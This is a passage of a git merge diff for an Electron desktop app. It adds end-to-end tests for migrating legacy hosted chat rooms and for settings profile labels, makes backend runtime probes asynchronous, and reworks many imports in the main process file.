a/apps/desktop/e2e/hosted-room-legacy-store-migration.spec.ts+++ b/apps/desktop/e2e/hosted-room-legacy-store-migration.spec.ts@@@ -1,0 -1,180 +1,179 @@@+ import { execFileSync, execSync } from 'node:child_process'+ import fs from 'node:fs'+ import path from 'node:path'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { startMockServer } from '../../../tests-js/scripts/mock-server'+ import { expect, test } from './test'++ // Hosted Group Chat rooms live in the gateway, and the Desktop's own `hermes serve` backend runs+ // a room worker. The room store moved from the root state.db to shared-state.db without carrying+ // the rows across, so every room from before that upgrade answered "hosted room not found"+ // (#109775). Asserted against the REAL Electron app's spawned backend over its JSON-RPC socket,+ // with the pre-upgrade layout seeded on disk by the store's own writers.++ const REPO_ROOT = path.resolve(import.meta.dirname, '..', '..', '..')+ const PYTHON = process.env.HERMES_DESKTOP_PYTHON ?? path.join(REPO_ROOT, 'venv', 'bin', 'python')++ let fixture: MockBackendFixture | null = null+ let rpc: Rpc | null = null++ function seedProfile(hermesHome: string, mockUrl: string, name: string): void {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl)+ writeEnvFile(dir)+ }++ /** Write a room + one user event into the PRE-isolation layout (root state.db) with the store's own writers. */+ function seedLegacyRoom(hermesHome: string): void {+ const script = `+ import sys+ from pathlib import Path+ from gateway import hosted_rooms+ legacy = Path(sys.argv[1]) / "state.db"+ hosted_rooms.create_room(legacy, room_id="oldroom", name="Pre-split room",+ members=[{"member_id": "m-sentinel", "profile": "sentinel", "handle": "sentinel"},+ {"member_id": "m-friday", "profile": "friday", "handle": "friday"}],+ authority_gateway_id="legacy", now=10)+ hosted_rooms.append_event(legacy, room_id="oldroom", event_id="user:u1", kind="message.user",+ actor={"kind": "user", "id": "desktop"}, payload={"text": "hello from before the upgrade", "thread_id": "t1"},+ authority_gateway_id="legacy", authority_epoch=1, now=11)+ print([r["room_id"] for r in hosted_rooms.list_rooms(legacy)])+ `+ const out = execFileSync(PYTHON, ['-c', script, hermesHome], {+ cwd: REPO_ROOT,+ env: { ...process.env, PYTHONPATH: REPO_ROOT },+ encoding: 'utf8'+ })+ if (!out.includes('oldroom')) {+ throw new Error(`legacy seed failed: ${out}`)+ }+ }++ /** Locate the Electron-spawned `hermes serve` backend for this sandbox: its port and session token. */+ function findBackend(hermesHome: string): { port: number; token: string; pid: number } {+ const pids = execSync(`pgrep -f "serve --host 127.0.0.1 --port 0" || true`, { encoding: 'utf8' })+ .split('\n')+ .map(s => s.trim())+ .filter(Boolean)+ for (const pidText of pids) {+ const pid = Number(pidText)+ let environ = ''+ try {+ environ = fs.readFileSync(`/proc/${pid}/environ`, 'latin1')+ } catch {+ continue+ }+ const vars = new Map(environ.split('\0').map(kv => [kv.slice(0, kv.indexOf('=')), kv.slice(kv.indexOf('=') + 1)]))+ if (vars.get('HERMES_HOME') !== hermesHome) {+ continue+ }+ const token = vars.get('HERMES_DASHBOARD_SESSION_TOKEN') ?? ''+ // The backend inherits Electron's remote-debugging socket fd too; the serve port is the listener+ // that only the hermes process holds.+ const listen = execSync(`ss -ltnp | grep "pid=${pid}," | grep -v electron || true`, { encoding: 'utf8' })+ const port = Number(/127\.0\.0\.1:(\d+)/.exec(listen)?.[1] ?? 0)+ if (token && port) {+ return { port, token, pid }+ }+ }+ throw new Error(`no hermes serve backend found for ${hermesHome} (pids: ${pids.join(',')})`)+ }++ /** Minimal JSON-RPC client over the backend's /api/ws (Node's global WebSocket; no Origin header is sent,+ * which the loopback backend accepts — the session token is the auth boundary). */+ class Rpc {+ private ws: WebSocket+ private id = 0+ private ready: Promise<void>++ constructor(port: number, token: string) {+ this.ws = new WebSocket(`ws://127.0.0.1:${port}/api/ws?token=${token}`)+ this.ready = new Promise((resolve, reject) => {+ this.ws.addEventListener('open', () => resolve(), { once: true })+ this.ws.addEventListener('error', () => reject(new Error(`ws upgrade to 127.0.0.1:${port} failed`)), { once: true })+ })+ }++ async call(method: string, params: Record<string, unknown> = {}): Promise<any> {+ await this.ready+ const id = `e2e-${++this.id}`+ return new Promise((resolve, reject) => {+ const onMessage = (event: MessageEvent) => {+ const frame = JSON.parse(String(event.data))+ if (frame.id === id) {+ this.ws.removeEventListener('message', onMessage)+ resolve(frame)+ }+ }+ this.ws.addEventListener('message', onMessage)+ this.ws.addEventListener('error', () => reject(new Error(`ws error during ${method}`)), { once: true })+ this.ws.send(JSON.stringify({ jsonrpc: '2.0', id, method, params }))+ })+ }++ close(): void {+ this.ws.close()+ }+ }++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('hosted-rooms-backend')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)+ seedProfile(sandbox.hermesHome, mock.url, 'sentinel')+ seedProfile(sandbox.hermesHome, mock.url, 'friday')+ seedLegacyRoom(sandbox.hermesHome)+ expect(fs.existsSync(path.join(sandbox.hermesHome, 'shared-state.db'))).toBe(false)++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))+ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ rpc?.close()+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ const backend = findBackend(sandbox.hermesHome)+ rpc = new Rpc(backend.port, backend.token)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('rooms from before the shared-state.db split are still reachable from the Desktop backend (#109775)', async () => {+ test.setTimeout(300_000)+ const caps = await rpc!.call('groups.capabilities')+ expect(caps.result?.driver).toBe(true)++ const listed = await rpc!.call('groups.list')+ expect(listed.result?.rooms.map((room: any) => room.room_id)).toContain('oldroom')++ const state = await rpc!.call('groups.state', { room_id: 'oldroom' })+ expect(state.error, JSON.stringify(state.error)).toBeUndefined()+ expect(state.result.room.latest_seq).toBe(1)++ const log = await rpc!.call('groups.log', { room_id: 'oldroom', since_seq: 0, limit: 20 })+ expect(log.result.events.map((event: any) => event.kind)).toEqual(['message.user'])+ // Storage truth: the store now lives in shared-state.db and the legacy file was left intact.+ expect(fs.existsSync(path.join(fixture!.sandbox.hermesHome, 'shared-state.db'))).toBe(true)+ expect(fs.existsSync(path.join(fixture!.sandbox.hermesHome, 'state.db'))).toBe(true)+ })diff --cc apps/desktop/e2e/settings-scope-chips-bot-title.spec.tsindex 00000000000,32e11c2fea5..1bdfb07b179mode 000000,100644..100644--- a/apps/desktop/e2e/settings-scope-chips-bot-title.spec.ts+++ b/apps/desktop/e2e/settings-scope-chips-bot-title.spec.ts@@@ -1,0 -1,90 +1,89 @@@+ import fs from 'node:fs'+ import path from 'node:path'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { startMockServer } from '../../../tests-js/scripts/mock-server'+ import { expect, test } from './test'++ // Settings' "Applies to" chips named every profile by its canonical slug+ // (`alpha`, `beta`) while the Bots roster called the same agents by their Bot+ // title / display name (#109686). The chip must read the presentation name the+ // rest of the app uses; the slug stays the identity underneath.++ let fixture: MockBackendFixture | null = null++ function seedProfile(hermesHome: string, mockUrl: string, name: string, profileYaml: string): void {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl)+ writeEnvFile(dir)+ fs.writeFileSync(path.join(dir, 'profile.yaml'), profileYaml, 'utf8')+ }++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('settings-chips')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)+ // A Bot Mode bot: the roster shows ui_meta['hermes-bots'].title.+ seedProfile(sandbox.hermesHome, mock.url, 'alpha', 'ui_meta:\n hermes-bots:\n title: Atlas Prime\n')+ // A renamed profile: `hermes profile rename` writes display_name.+ seedProfile(sandbox.hermesHome, mock.url, 'beta', 'display_name: Beacon\n')++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('Settings "Applies to" chips read the Bot title / display name, not the slug', async () => {+ test.setTimeout(300_000)+ const page = fixture!.page++ await page.evaluate(() => {+ window.location.hash = '#/settings'+ })++ // Chips carry their label as visible text (the profile rail's avatars only+ // carry it as aria-label), so filter by text to target the Settings strip.+ const chip = (label: string) => page.getByRole('button', { name: label, exact: true }).filter({ hasText: label })+ await expect(chip('Atlas Prime').first()).toBeVisible({ timeout: 60_000 })+ await expect(chip('Beacon').first()).toBeVisible({ timeout: 15_000 })+ // The slug is the identity, never the label.+ await expect(chip('alpha')).toHaveCount(0)+ await expect(chip('beta')).toHaveCount(0)+ // The root profile keeps its slug when it has neither title nor display name (control).+ await expect(chip('default').first()).toBeVisible()++ // Selecting by presentation label still scopes by the canonical slug: the+ // "applies to" note names the target by the same label as its chip.+ await chip('Atlas Prime').first().click()+ const note = page.getByRole('status').filter({ hasText: 'Atlas Prime' }).first()+ await expect(note).toBeVisible({ timeout: 10_000 })+ await expect(note).not.toContainText('alpha')++ await page.screenshot({ path: 'test-results/settings-scope-chips-bot-title.png' })+ })diff --cc apps/desktop/electron/backend-connection-state.tsindex 55cc6bc6161,a9c916f6dc5..3224d7bd7f8--- a/apps/desktop/electron/backend-connection-state.ts+++ b/apps/desktop/electron/backend-connection-state.ts@@@ -8,32 -8,7 +8,33 @@@ export type BackendProcessOwner<TProcesprocess: TProcess}-export function createBackendConnectionState<TProcess, TConnection>() {+interface PendingBackendStop<TProcess> {+ process: TProcess+ completion: Promise<void>+ failed: boolean+}++export interface BackendConnectionState<TProcess, TConnection> {+ startAttempt(): BackendConnectionAttempt<TConnection>+ setPromise(attempt: BackendConnectionAttempt<TConnection>, promise: Promise<TConnection>): boolean+ isCurrentAttempt(attempt: BackendConnectionAttempt<TConnection>): boolean++ assertCurrentAttempt(attempt: BackendConnectionAttempt<TConnection>): void+ attachProcess(attempt: BackendConnectionAttempt<TConnection>, process: TProcess): BackendProcessOwner<TProcess> | null+ claimProcess(+ attempt: BackendConnectionAttempt<TConnection>,+ process: TProcess,+ claim: (current: TProcess) => Promise<unknown>+ ): Promise<BackendProcessOwner<TProcess> | null>+ clearForCurrentProcess(owner: BackendProcessOwner<TProcess>): boolean+ clearPromiseForAttempt(attempt: BackendConnectionAttempt<TConnection>): boolean+ getProcess(): TProcess | null+ getPromise(): Promise<TConnection> | null+ getPendingPromise(): Promise<TConnection> | null+ invalidate(): TProcess | null+ stopProcess(stop: (current: TProcess) => Promise<void>): Promise<void>+}++export function createBackendConnectionState<TProcess, TConnection>(): BackendConnectionState<TProcess, TConnection> {let generation = 0let process: TProcess | null = nulllet promise: Promise<TConnection> | null = nulldiff --cc apps/desktop/electron/backend-exit.test.tsindex b4eb416085b,35e1de13214..882eae88d61--- a/apps/desktop/electron/backend-exit.test.ts+++ b/apps/desktop/electron/backend-exit.test.ts@@@ -10,13 -10,17 +10,14 @@@ test('backend exit escalation rejects wtry {const child = Object.assign(new EventEmitter(), { exitCode: null, signalCode: null, kill: vi.fn() })- const waiting = waitForBackendExit(child, { forceKillProcessTree: () => {} }, 20)--- const outcome = waiting.then(- () => null,- error => error+ const waiting = assert.rejects(+ waitForBackendExit(child, { forceKillProcessTree: (): void => {} }, 20),- /did not exit after escalation/++ /did not exit/)- await vi.advanceTimersByTimeAsync(1020)- assert.match(String(await outcome), /did not exit/)+ await Promise.all([waiting, vi.advanceTimersByTimeAsync(1020)])+ assert.equal(child.exitCode, null)+ assert.equal(child.signalCode, null)assert.equal(child.kill.mock.calls.length, 1)assert.equal(child.kill.mock.calls[0][0], 'SIGKILL')assert.equal(child.listenerCount('exit'), 0)diff --cc apps/desktop/electron/backend-probes.test.tsindex 00f0ab4b760,950ff81532a..14ab37efbfe--- a/apps/desktop/electron/backend-probes.test.ts+++ b/apps/desktop/electron/backend-probes.test.ts@@@ -14,6 -16,8 +16,7 @@@ import { test } from 'vitestimport {canImportHermesCli,DEFAULT_PROBE_TIMEOUT_MS,+ execProbe,- hermesRuntimeImportProbe,PROBE_TIMEOUT_MS,resolveProbeTimeoutMs,shouldTrustHermesOverride,@@@ -39,14 -90,24 +89,14 @@@ test('canImportHermesCli returns false// ModuleNotFoundError, but the predicate is "exit 0 or not" and// both land on "not", which is exactly what we want for the// resolver fall-through.- assert.equal(canImportHermesCli(NODE_BIN), false)+ assert.equal(await canImportHermesCli(NODE_BIN), false)})- test('canImportHermesCli returns false when binary does not exist', () => {+ test('canImportHermesCli returns false when binary does not exist', async () => {const ghost = path.join(os.tmpdir(), 'hermes-probes-ghost-' + Date.now() + '.exe')- assert.equal(canImportHermesCli(ghost), false)+ assert.equal(await canImportHermesCli(ghost), false)})-test('hermes runtime import probe checks config dependencies', () => {- const probe = hermesRuntimeImportProbe()- assert.match(probe, /\bimport yaml\b/)- // dotenv is the first third-party import on the CLI boot path- // (hermes_cli/env_loader.py); a mid-update venv missing python-dotenv- // passed the old probe and produced an unrecoverable boot loop.- assert.match(probe, /\bimport dotenv\b/)- assert.match(probe, /\bimport hermes_cli\.config\b/)-})-test('explicit Hermes override is authoritative', () => {assert.equal(shouldTrustHermesOverride('/nix/store/abc/bin/hermes'), true)})@@@ -56,19 -117,46 +106,19 @@@ test('empty Hermes override is not authassert.equal(shouldTrustHermesOverride(undefined), false)})- test('verifyHermesCli returns false when command is falsy', () => {- assert.equal(verifyHermesCli(''), false)- assert.equal(verifyHermesCli(null), false)- assert.equal(verifyHermesCli(undefined), false)+ test('verifyHermesCli returns false when command is falsy', async () => {+ assert.equal(await verifyHermesCli(''), false)+ assert.equal(await verifyHermesCli(null), false)+ assert.equal(await verifyHermesCli(undefined), false)})- test('verifyHermesCli returns false when binary does not exist', () => {+ test('verifyHermesCli returns false when binary does not exist', async () => {const ghost = path.join(os.tmpdir(), 'hermes-probes-ghost-' + Date.now() + '.exe')- assert.equal(verifyHermesCli(ghost), false)+ assert.equal(await verifyHermesCli(ghost), false)})- test('verifyHermesCli accepts an actual zero-exit executable', (): void => {- assert.equal(verifyHermesCli(NODE_BIN), true)-test('verifyHermesCli returns true when --version exits 0', async () => {- // Write a tiny script that exits 0 regardless of args, then invoke- // it through node. This stands in for a working hermes binary --- // verifyHermesCli only cares about the exit code.- const scriptPath = path.join(os.tmpdir(), `hermes-probes-ok-${Date.now()}-${process.pid}.cjs`)- fs.writeFileSync(scriptPath, 'process.exit(0)\n')-- try {- // Use node as the launcher and our script as the "command". Pass- // shell:false (default) -- node is a real binary, no shim.- // execFileSync passes ['--version'] as args, which node ignores- // gracefully (well, it prints its version and exits 0, which is- // perfect -- exit code 0 is the only signal we read).- assert.equal(await verifyHermesCli(NODE_BIN), true)- } finally {- try {- fs.unlinkSync(scriptPath)- } catch {- void 0- }- }-})--test('verifyHermesCli swallows timeouts (does not throw)', async () => {- // We can't easily provoke a real hang in CI without slowing the- // suite, but we CAN confirm that an invocation that DOES throw- // (because the binary is missing) returns false rather than- // propagating. Same code path the timeout case takes.- assert.equal(await verifyHermesCli('/definitely/not/a/real/binary/anywhere'), false)++test('verifyHermesCli accepts an actual zero-exit executable', async (): Promise<void> => {++ assert.equal(await verifyHermesCli(NODE_BIN), true)})test('default probe timeout is 15s (not the old 5s death-loop value)', () => {diff --cc apps/desktop/electron/backend-probes.tsindex 8fd3f58d1e2,b26abc6beec..9268a438759--- a/apps/desktop/electron/backend-probes.ts+++ b/apps/desktop/electron/backend-probes.ts@@@ -1,9 -1,40 +1,9 @@@-/**- * backend-probes.ts- *- * Cheap "does this candidate backend actually work" checks used by- * resolveHermesBackend (main.ts). The resolver walks a ladder of- * candidates -- bootstrap marker, `hermes` on PATH, system Python with- * hermes_cli installed -- and historically returned the first candidate- * whose binary existed on disk. That assumption breaks when a user has- * a pre-installed Python 3.11-3.13 (so findSystemPython() returns a- * path) but no hermes_cli in its site-packages: the resolver hands back- * a backend the spawn step can't actually run, and the user gets a- * dead-on-arrival "ModuleNotFoundError: No module named 'hermes_cli'"- * instead of the first-launch installer.- *- * These probes give the resolver a way to verify a candidate before- * trusting it. Failure (non-zero exit, exception, timeout) means "skip- * this rung, try the next one"; success means "spawn this for real."- * Falling off the bottom of the ladder lands on the bootstrap-needed- * sentinel, which is exactly what we want when nothing pre-existing- * actually works.- *- * Both probes are deliberately fast and forgiving:- * - default 15s timeout (5s was too short on cold Windows disks / AV;- * issue #61764 death-loop) with HERMES_PROBE_TIMEOUT_MS override- * - one automatic retry after a timeout before declaring the runtime dead- * - stdio ignored (we only care about exit code; stdout/stderr are- * not surfaced to the user, just to recentHermesLog for forensics- * via the caller's catch block if it chooses)- * - any throw -> false (never propagate -- resolver wants a boolean)- *- * Kept in a standalone ts module so it can be unit-tested with- * `node --test` without dragging in the electron runtime (same pattern- * as bootstrap-platform.ts and hardening.ts).- */+/** Bounded backend probes. A file on disk is not proof of a usable runtime. */- import { execFileSync } from 'node:child_process'+ import { spawn } from 'node:child_process'+import { buildDesktopBackendEnv } from './backend-env'+/** Default probe budget. 5s false-negativeed healthy Windows cold starts (#61764). */const DEFAULT_PROBE_TIMEOUT_MS = 15_000@@@ -81,19 -132,43 +101,19 @@@ async function execProbe}}-/**- * Return the Python snippet used to verify Hermes can import far enough to- * launch the CLI. Kept exported for tests so dependency regressions are- * caught without needing a real broken venv fixture.- *- * @returns {string}- */-function hermesRuntimeImportProbe() {- return 'import yaml; import dotenv; import hermes_cli.config'-}--/**- * Return true iff the Hermes runtime import probe exits 0.- *- * Used to gate the "fallback to system Python with hermes_cli installed"- * rung of resolveHermesBackend. Without this, a system Python 3.11-3.13- * registered in PEP 514 makes findSystemPython() succeed regardless of- * whether hermes_cli has actually been pip-installed into its- * site-packages -- and the resolver returns a backend that immediately- * dies on spawn.- *- * The probe intentionally imports hermes_cli.config, not just the top-level- * package: a broken/empty Windows launcher venv can still see the source tree- * through PYTHONPATH but lack PyYAML, then die on the first real CLI import.- *- * @param {string} pythonPath - Absolute path to a python.exe / python.- * @param {object} [opts.env] - Additional environment for the probe.- * @returns {boolean}- */-async function canImportHermesCli(pythonPath: string, opts: { env?: Record<string, string> } = {}) {+/** Probe the checkout at cwd with the same dependency activation as launch. */- function canImportHermesCli(pythonPath: string, opts: { env?: NodeJS.ProcessEnv; cwd?: string } = {}): boolean {++async function canImportHermesCli(pythonPath: string, opts: { env?: NodeJS.ProcessEnv; cwd?: string } = {}): Promise<boolean> {if (!pythonPath) {return false}try {- await execProbe(pythonPath, ['-c', hermesRuntimeImportProbe()], {- env: { ...process.env, ...(opts.env || {}) },+ const env: NodeJS.ProcessEnv = { ...process.env, ...opts.env }++ // Bootstrap selects the committed generation before any dependency import.- execProbeSync(pythonPath, ['-c', 'import hermes_bootstrap; import hermes_yaml; import dotenv; import hermes_cli.config'], {++ await execProbe(pythonPath, ['-c', 'import hermes_bootstrap; import hermes_yaml; import dotenv; import hermes_cli.config'], {+ cwd: opts.cwd,+ env: { ...env, ...buildDesktopBackendEnv({ currentEnv: env }) },stdio: 'ignore',timeout: PROBE_TIMEOUT_MS,windowsHide: true@@@ -157,7 -232,9 +177,8 @@@ async function verifyHermesCli(hermesCoexport {canImportHermesCli,DEFAULT_PROBE_TIMEOUT_MS,- execProbeSync,+ execProbe,- hermesRuntimeImportProbe,+ isTimeoutError,PROBE_TIMEOUT_MS,resolveProbeTimeoutMs,shouldTrustHermesOverride,diff --cc apps/desktop/electron/main.tsindex 15693f80e50,febdad1286f..845167fbfd2--- a/apps/desktop/electron/main.ts+++ b/apps/desktop/electron/main.ts@@@ -30,15 -28,23 +30,15 @@@ importshell,systemPreferences} from 'electron'+import type { Session } from 'electron'-import { classifyActiveRuntime } from './active-runtime-state'-import {- destroyKeepaliveAgents,- downloadAgentFor,- htmlResponseError,- httpStatusError,- jsonAgentFor,- readStatusCode,- withRetry-} from './api-transport'+import { type ActiveRuntimeState, classifyActiveRuntime } from './active-runtime-state'- import { destroyKeepaliveAgents, jsonAgentFor, withRetry } from './api-transport'++import { destroyKeepaliveAgents, htmlResponseError, jsonAgentFor, withRetry } from './api-transport'import { appIconCandidates, resolveAppIcon } from './app-icon'-import {- stopBackendChild as stopBackendChildImpl,- stopBackendTreesForUpdate,- waitForBackendExit as waitForBackendExitImpl-} from './backend-child'+import { stageAppInstallerFile } from './app-installer-file'+import { appVersionInfo, type AppVersionInfo, assertSourceUpdateChannel, packagedReleaseChannel } from './app-version'+import { runAppInstallerChecker } from './appinstaller-checker'+import { stopBackendChild as stopBackendChildImpl, waitForBackendExit } from './backend-child'import {type BackendOutputTail,claimDecision,@@@ -50,24 -57,14 +51,24 @@@processStartMarker,REAP_PROBE_TIMEOUT_MS} from './backend-claim'- import { dashboardFallbackArgs, sourceDeclaresServe } from './backend-command'+ import { dashboardFallbackArgs } from './backend-command'import { createBackendConnectionState } from './backend-connection-state'import { BackendDialClaims } from './backend-dial-claim'-import { buildDesktopBackendEnv, hermesManagedNodePathEntries, normalizeHermesHomeRoot } from './backend-env'+import { buildDesktopBackendEnv } from './backend-env'+ import { createBackendExitRecoveryLatch } from './backend-exit-recovery'-import { isReauthRequiredError, waitForHermesReady } from './backend-health'-import { backendCommandMatches, createBackendOwnership, createBackendShutdownCoordinator } from './backend-ownership'-import { canImportHermesCli, PROBE_TIMEOUT_MS, shouldTrustHermesOverride, verifyHermesCli } from './backend-probes'+import {+ isReauthRequiredError,+ makeNousCloudBackendDownError,+ makeUnsignedOauthError,+ waitForHermesReady+} from './backend-health'+import { backendCommandMatches, type BackendOwnershipEntry, createBackendOwnership, createBackendShutdownCoordinator } from './backend-ownership'+import {+ canImportHermesCli,- execProbeSync,+ PROBE_TIMEOUT_MS,+ shouldTrustHermesOverride,+ verifyHermesCli+} from './backend-probes'import { waitForDashboardPortAnnouncement } from './backend-ready'import { recycleOwnedBackend } from './backend-recycle'import { isPidAliveWindows, waitForBackendRelease } from './backend-release-gate'@@@ -95,9 -94,9 +98,10 @@@ importbuildBrowserWindowUrl} from './browser-windows'import { detectBundleSkew } from './bundle-skew'-import { detectBundleSwap } from './bundle-swap'+import { detectBundleSwap, readBundleSwapStamp } from './bundle-swap'import { registerChatOnboardingWindow } from './chat-onboarding-window'+import { provisionCliLinks } from './cli-provision'+ import { installCommandScreenshot } from './command-screenshot'import { writeComposerPaste } from './composer-paste'import { applyConnectionChange, teardownSshState } from './connection-apply'import {@@@ -167,10 -164,15 +171,17 @@@ importimport type { RosterProfileMetadata } from './connection-registry'import { describeCrashReason, installCrashForensics } from './crash-forensics'import { adoptServedDashboardToken } from './dashboard-token'+import { resolveDesktopHermesHome, resolveDesktopUserData } from './data-paths'+import { writeDesktopProfile } from './desktop-boot-preference'import { loadOrCreateInstallationId, sshOwnershipId } from './desktop-installation'import { formatDesktopLogLine } from './desktop-log-line'+ import {+ createDesktopProfilePreferences,+ DESKTOP_PROFILE_NAME_RE,+ type DesktopProfileRoute,+ resolveDesktopConnectionRequest,+ resolveDesktopWindowRoute+ } from './desktop-profile'import { resolveDesktopRemoteRoute, v1SshTerminalPoolKey } from './desktop-remote-route'import {buildPosixCleanupScript,@@@ -205,24 -203,21 +216,25 @@@ import} from './find-in-page'import { createFirstRunSetupGate } from './first-run-setup-gate'import { registerFsIpc } from './fs-ipc'+import type {+ GatewayFileSaveContext,+ GatewayFileSaveDeps,+ GatewayFileSaveResult,+ GatewaySaveDialogOptions,+ GatewaySaveDialogResult+} from './gateway-file-download'import {- filenameFromContentDisposition,- fsPumpDeps,gatewayFilePath,gatewayFileRequestPaths,- isNotFoundError,- parseDataUrlToBuffer,- pumpStreamToFile,resolveGatewayFileBackend,- writeBufferToFile+ saveGatewayDownload} from './gateway-file-download'-import { startGatewaysAfterUpdateAbort, stopGatewayBeforeUpdate } from './gateway-stop-before-update'+import { downloadViaOauthSessionToFile, downloadViaTokenToFile } from './gateway-file-download-transport'+import { stopGatewayBeforeUpdate } from './gateway-stop-before-update'+import { resolveGatewayVersion } from './gateway-version'import { probeGatewayWebSocket } from './gateway-ws-probe'import { registerGitIpc } from './git-ipc'+ import { envTokenRejected, githubApiHeaders, githubTokenFromEnv } from './github-api-auth'import { desktopBackendSpawnEnv, guestOnboardingEnabled, skipIntroEnabled } from './guest-onboarding'import { readAndConsumeHandoffResult } from './handoff-result'import {@@@ -252,12 -248,10 +264,13 @@@ import { snapHudBounds } from './hud-snimport { createHudSnapShortcut } from './hud-snap-shortcut'import { buildHudWindowUrl } from './hud-url'import { resolveHudWindowing } from './hud-windowing'+import { INSTALL_STAMP, installShape } from './install-stamp'+import type { InstallStamp } from './install-stamp'import { createIntroRevealWindowController } from './intro-reveal-window'import { createLinkTitleWindow, guardLinkTitleSession, readLinkTitleWindowTitle } from './link-title-window'+ import { notifyLauncherWindowRevealed } from './linux-launcher-ready'import { createLocalBackendLifecycle, waitForTeardown } from './local-backend-lifecycle'+import { registerMachineProfile } from './machine-profile'import { ensureMainWindow } from './main-window-lifecycle'import {assertManagedUpdatePreflightClear,@@@ -316,14 -301,18 +329,20 @@@ importlocalRouteFallbackProfiles,undialedSshRouteSeeds} from './plugin-profile-routes'- import { selectPoolEvictions } from './pool-eviction'import { clampPoolLimits, parsePoolLimits, POOL_LIMITS_DEFAULTS } from './pool-limits'+ import { createPoolRetirer } from './pool-retire'+ import { createPoolRetirementClient } from './pool-retire-http'import {+ assertPoolEntryStillOwned,+ BackgroundSlotRetryBackoff,+ BackgroundSlotRetryDeferredError,+ isBackgroundSlotRetryDeferred,isBackgroundSlotWaitTimeout,LocalBackendSpawnCoordinator,type LocalBackendSpawnPriority,+ releaseLocalBackendSlot,+ type LocalBackendSpawnRequest,+ registerLocalBackendExitFinalizer,releaseLocalBackendSlotAfterExit} from './pool-spawn-coordinator'import { createPoolStopper } from './pool-stop'@@@ -373,10 -362,14 +392,13 @@@ importrevalidateRemoteConnection,revalidateSuspectPooledRemoteBackends} from './remote-liveness'-import { resolveRemoteOauthTicket, rosterSourceEnumerationTimeoutMs } from './remote-oauth-ticket'import {- applyRemoteRequestHeaders,+ attachRemoteRequestHeaderListener,+ collectRemoteHeaderSources,createRegistryGatewayWsUrlHandler,- createRemoteWsHeaderStore+ createRemoteWsHeaderStore,+ oauthLoginLoadUrlOptions,+ resolveRemoteRequestHeaders} from './remote-ws-headers'import { missingRendererAssets } from './renderer-bundle'import { loadRendererLoadErrorPage } from './renderer-load-error-page'@@@ -421,38 -413,38 +443,39 @@@ importwindowOpacityFor,windowOpacityOptions} from './translucency'-import {- branchTipApiUrl,- cacheIsFresh,- compareApiUrl,- describeUpdateCheckFailure,- githubRepoSlug,- parseCompare,- rateLimitFromHeaders-} from './update-api-check'import { waitForUpdateClearance } from './update-gate'import { readLiveUpdateMarker, updateHandoffConflict, writeUpdateMarker } from './update-marker'-import { isOfficialSshRemote, OFFICIAL_REPO_HTTPS_URL } from './update-remote'import {- collectRelaunchArgs,- describeUpdaterHandoffFailure,+ resolveUpdaterMechanism,+ type UpdaterApplyResultWire,+ type UpdaterStatusWire,+ type UpdaterStrategy+} from './updater'+import {++ resolveVenvDir,observeUpdaterHandoff,- resolvePosixScriptHandoff,resolveStagedUpdaterBinary,- resolveUpdateScriptHandoff,- sandboxFallbackFromEnv,spawnUpdaterProcess,- stagedUpdaterSupportsPrewrittenMarker,- windowsUpdatePrerequisiteError,- wrapHandoffForDetachedConsole+ stagedUpdaterSupportsPrewrittenMarker} from './updater-process'+import { AppInstallerStrategy } from './updater/app-installer'import {- formatBlockerMessage,- formatProbeFailedMessage,- resolveVenvDir,- scanVenvBlockers,- stopSafeVenvBlockers-} from './venv-blocker-scan'+ createCheckoutStrategy+} from './updater/checkout'+import { readSourceUpdate, type SourceUpdate } from './updater/checkout-source'+import { ExternalStrategy } from './updater/external'+import { readUpdatesFeedBaseFromConfig } from './updater/feed-config'+import { createMacStrategy, createChannelMacStrategy } from './updater/mac-client'+import { createChannelAppInstallerStrategy } from './updater/app-installer'+import { ChannelResolver, type ChannelTarget } from './updater/channel'+import { ChannelStrategy } from './updater/channel-strategy'+import { UpdateOperation } from './updater/operation'+import { inspectRunningChannelApp } from './updater/channel-native'+import { verifyPreparedChannelInstaller } from './updater/channel-windows-host'+import { type ConsumedRelaunch, consumePendingRelaunch, registerUpdateRelaunch, type RelaunchRegistration } from './updater/relaunch'+import { startRelaunchWaiter } from './updater/relaunch-waiter'+import { preflightStateDb } from './updater/state-db-preflight'+import { createStoreStrategy } from './updater/store-client'import { isHermesOwnedVenvDaemon } from './venv-holder-select'import { fetchMarketplaceThemes, searchMarketplaceThemes } from './vscode-marketplace'import { createWakeIndicatorWindowController } from './wake-indicator-window'@@@ -795,10 -898,10 +818,10 @@@ const DESKTOP_MANAGED_SSH_RECOVERY_PAT// _apply_profile_override in hermes_cli/main.py) and bypasses the sticky// ~/.hermes/active_profile file. Unset (null) preserves the legacy behavior:// no --profile flag, so the backend honors active_profile / default.-const DESKTOP_PROFILE_CONFIG_PATH = path.join(app.getPath('userData'), 'active-profile.json')+// Mirrors 